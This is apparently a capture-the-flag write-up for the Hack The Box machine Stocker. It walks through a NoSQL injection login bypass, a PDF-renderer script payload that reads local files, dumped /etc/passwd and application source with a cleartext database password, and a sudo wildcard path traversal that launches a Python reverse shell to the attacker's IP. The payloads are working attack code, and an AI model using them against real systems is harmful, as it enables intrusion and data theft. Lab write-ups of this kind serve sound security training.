Hack The Box Stocker Writeup (Easy Linux)
Easy Linux box. A NoSQL injection bypasses the dev.stocker.htb login, HTML to PDF rendering reads local files, and a sudo node wildcard gives root.
Summary
Stocker exposes SSH and nginx, and subdomain enumeration finds dev.stocker.htb, an Express application backed by MongoDB. Its login route passes the posted username and password straight into a Mongoose findOne, so switching the Content-Type to application/json and sending a $ne operator for both fields authenticates without credentials. Once logged in, the ordering API renders a purchase order to PDF from attacker supplied item titles, and the renderer executes JavaScript, so an XMLHttpRequest against a file URL reads local files back out of the PDF. That gives /etc/passwd, the nginx configuration and /var/www/dev/index.js, whose Mongo connection string carries the cleartext password IHeardPassphrasesArePrettySecure. The system user angoose reuses it over SSH, and angoose may run /usr/bin/node /usr/local/scripts/*.js as root; the wildcard matches a traversal path, so pointing it at a script in the home directory executes attacker JavaScript as root.
export IP=10.10.11.196 stocker.htb
Port scanning
80/tcp on 10.10.11.196 ( nginx 1.18.0 ) 22/tcp on 10.10.11.196 ( OpenSSH 8.2p1 )
Target: port 80
Generator: Eleventy v2.0.0
Staff
Angoose Garden, Head of IT at Stockers Ltd. http://stocker.htb/img/angoose.png Username: angoose (?)
Exploitation
- Found a valid subdomain: dev dev.stocker.htb
Login page auth bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 55
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AuSq_MqHyNW9Ug-Q5hvWPed5NVDHzB0k9.4x%2BrrUXXtayHZkjn5IA2KyPNvi5a9SoLOJ3weGgYvWE
Upgrade-Insecure-Requests: 1
{"username": {"$ne": null}, "password": {"$ne": null} }
- Changed “Content-Type” to application/json and the web server accepted. (NOSQL INJECTION)[https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass]
http://dev.stocker.htb/api/po/63f90823c21e9e9c003be38b
Payload to retrieve local files
1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>
Example request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 306
DNT: 1
Connection: close
Cookie: connect.sid=s%3AuSq_MqHyNW9Ug-Q5hvWPed5NVDHzB0k9.4x%2BrrUXXtayHZkjn5IA2KyPNvi5a9SoLOJ3weGgYvWE
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///var/www/dev/index.js');x.send();</script>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
Internal /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-
network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:112:TPM
software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-
coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin fwupd-refresh:x:112:119:fwupd-refresh
user,,,:/run/systemd:/usr/sbin/nologin mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash _laurel:x:998:998::/var/log/laurel:/bin/false
Internal /etc/nginx/nginx.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events {
worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on;
keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; #
server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## #
Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip
on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; #
gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss
text/javascript; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; server { listen 80; root /var/www/dev;
index index.html index.htm index.nginx-debian.html; server_name dev.stocker.htb; location / { proxy_pass
http://127.0.0.1:3000; proxy_http_version 1.1; proxy_cache_bypass $http_upgrade; proxy_set_header Upgrade
$http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; proxy_set_header X-Real-IP
$remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-
Proto $scheme; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; } }
server { listen 80; root /var/www/html; index index.html index.htm index.nginx-debian.html; server_name stocker.htb;
location / { try_files $uri $uri/ =404; } } server { listen 80 default; server_name _; location / { return 301
http://stocker.htb; } } }
Internal /var/www/dev/index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require("express"); const mongoose = require("mongoose"); const session = require("express-session");
const MongoStore = require("connect-mongo"); const path = require("path"); const fs = require("fs"); const {
generatePDF, formatHTML } = require("./pdf.js"); const { randomBytes, createHash } = require("crypto"); const app =
express(); const port = 3000; // TODO: Configure loading from dotenv for production const dbURI =
"mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1"; app.use(express.json());
app.use(express.urlencoded({ extended: false })); app.use( session({ secret: randomBytes(32).toString("hex"), resave:
false, saveUninitialized: true, store: MongoStore.create({ mongoUrl: dbURI, }), }) ); app.use("/static",
express.static(__dirname + "/assets")); app.get("/", (req, res) => { return res.redirect("/login"); });
app.get("/api/products", async (req, res) => { if (!req.session.user) return res.json([]); const products = await
mongoose.model("Product").find(); return res.json(products); }); app.get("/login", (req, res) => { if (req.session.user)
return res.redirect("/stock"); return res.sendFile(__dirname + "/templates/login.html"); }); app.post("/login", async (req,
res) => { const { username, password } = req.body; if (!username || !password) return res.redirect("/login?error=login-
error"); // TODO: Implement hashing const user = await mongoose.model("User").findOne({ username, password }); if
(!user) return res.redirect("/login?error=login-error"); req.session.user = user.id; console.log(req.session); return
res.redirect("/stock"); }); app.post("/api/order", async (req, res) => { if (!req.session.user) return res.json({}); if
(!req.body.basket) return res.json({ success: false }); const order = new mongoose.model("Order")({ items:
req.body.basket.map((item) => ({ title: item.title, price: item.price, amount: item.amount })), }); await order.save();
return res.json({ success: true, orderId: order._id }); }); app.get("/api/po/:id", async (req, res) => { const order = await
mongoose.model("Order").findById(req.params.id); if (!order) return res.sendStatus(404); const htmlPath =
`${__dirname}/pos/${req.params.id}.html`; const filePath = `${__dirname}/pos/${req.params.id}.pdf`; if
(fs.existsSync(filePath)) { return res.sendFile(filePath); } fs.writeFileSync(htmlPath, formatHTML(order)); await
generatePDF(req.params.id); if (fs.existsSync(filePath)) { return res.sendFile(filePath); } else { return
res.sendStatus(500); } }); app.get("/stock", (req, res) => { if (!req.session.user) return res.redirect("/login?error=auth-
required"); return res.sendFile(__dirname + "/templates/index.html"); }); app.get("/logout", async (req, res) => {
req.session.user = ""; return res.redirect("/login"); }); app.listen(port, "127.0.0.1", async () => { await
mongoose.connect(dbURI); // Setup Mongoose schema require("./schema.js"); console.log(`Example app listening on
port ${port}`); });
Initial access
Dev credentials
dev:IHeardPassphrasesArePrettySecure
Privesc
angoose@stocker:~$ sudo -l
1
2
3
4
5
6
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
- I actually can execute everything that ends with .js as there is a wildcard. Can do a little path manipulation to make it execute a javascript file with malicious code
/home/angoose/shell.js
1
require('child_process').exec('python3 /home/angoose/shell.py')
/home/angoose/shell.py
1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.94",53))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/*.js
Attacker: sudo nc -lvnp 53